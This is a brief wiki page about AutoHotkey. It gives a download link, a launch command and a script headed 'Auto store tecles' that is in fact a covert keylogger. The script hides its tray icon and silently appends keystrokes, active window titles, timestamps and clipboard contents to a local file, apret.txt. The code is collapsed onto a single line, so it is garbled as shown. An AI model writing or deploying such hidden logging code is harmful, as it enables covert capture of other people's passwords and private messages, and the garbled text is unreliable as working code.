Autohotkey
De WikiMar
https://www.autohotkey.com/download/?
start "test" AutoHotkeyU64 "file.ahk"
Auto store tecles:
;NoTrayIcon #Persistent #SingleInstance last := "" Loop { key= Input, k , V T5 M * FormatTime, t ,, yyyy-MM-dd HH:mm:ss WinGetActiveTitle , pt pttk = `n`n`n****************`n%pt%`n%t%`n`n%k% ; Defines variable pttk: page title, time, keys lo k:=pt!=pt2 ? pttk :k ; Sets value of k to either pttk or k. FileAppend, %k% , apret.txt pt2 := pt if (last != clipboard) { FileAppend,`nC:%clipboard%`n,apret.txt last = %clipboard% if (last == "stop") { Menu, Tray, Icon } } } ~esc & f1::return ~esc up:: { content = {Esc} goto, write } return ~printscreen & f1::return ~printscreen up:: { content = {Print Screen} goto, write } return ~lshift & f1::return ~lshift up:: { content = {Left Shift} goto, write } return ~rshift & f1::return ~rshift up:: { content = {Right Shift} goto, write } return ~lcontrol & f1::return ~lcontrol up:: { content = {Left Ctrl} goto, write } return ~rcontrol & f1::return ~rcontrol up:: { content = {Right Ctrl} goto, write } return ~lalt & f1::return ~lalt up:: { content = {Left Alt} goto, write } return ~ralt & f1::return ~ralt up:: { content = {Right Alt} goto, write } return ~lwin:: { content = {Left Win} goto, write } return ~rwin:: { content = {Right Win} goto, write } return ~del & f1::return ~del up:: { content = {Delete} goto, write } return ~ins & f1::return ~ins up:: { content = {Insert} goto, write } return ~home & f1::return ~home up:: { content = {Home} goto, write } return ~end & f1::return ~end up:: { content = {End} goto, write } return ~pgup:: { content = {Page Up} goto, write } return ~pgdn:: { content = {Page Down} goto, write } return ~^z:: { content = {Ctrl-Z} goto, write } return ~^x up:: { content = {Ctrl-X} goto, write } return ~^c up:: { content = {Ctrl-C} goto, write } return ~^v:: { content = {Ctrl-V} goto, write } return ~^!del:: { content = {Ctrl-Alt-Del} goto, write } return ~^+esc:: { content = {Ctrl-Shift-Esc} goto, write } return ~f1 up:: { content = {F1} goto, write } return ~f2 up:: { content = {F2} goto, write } return ~f3 up:: { content = {F3} goto, write } return ~f4 up:: { content = {F4} goto, write } return ~f5 up:: { content = {F5} goto, write } return ~f6 up:: { content = {F6} goto, write } return ~f7 up:: { content = {F7} goto, write } return ~f8 up:: { content = {F8} goto, write } return ~f9 up:: { content = {F9} goto, write } return ~f10 up:: { content = {F10} goto, write } return ~f11 up:: { content = {F11} goto, write } return ~f12 up:: { content = {F12} goto, write } return ~enter up:: { content = {Enter} goto, write } return ~tab up:: { content = {Tab} goto, write } return ~backspace up:: { content = {Backspace} goto, write } return ~up up:: { content = {Up} goto, write } return ~down up:: { content = {Down} goto, write } return ~right up:: { content = {Right} goto, write } return ~left up:: { content = {Left} goto, write } return ~pgup up:: { content = {PgUp} goto, write } return ~pgdn up:: { content = {PgDn} goto, write } return write: { ; time=%a_dd%/%a_mm%/%a_yyyy% %a_hour%:%a_min%:%a_sec% ; emptymem() fileappend, %content%, apret.txt content := "" } return emptymem() { ; return, dllcall("psapi.dll\EmptyWorkingSet", "UInt", -1) content := "" return }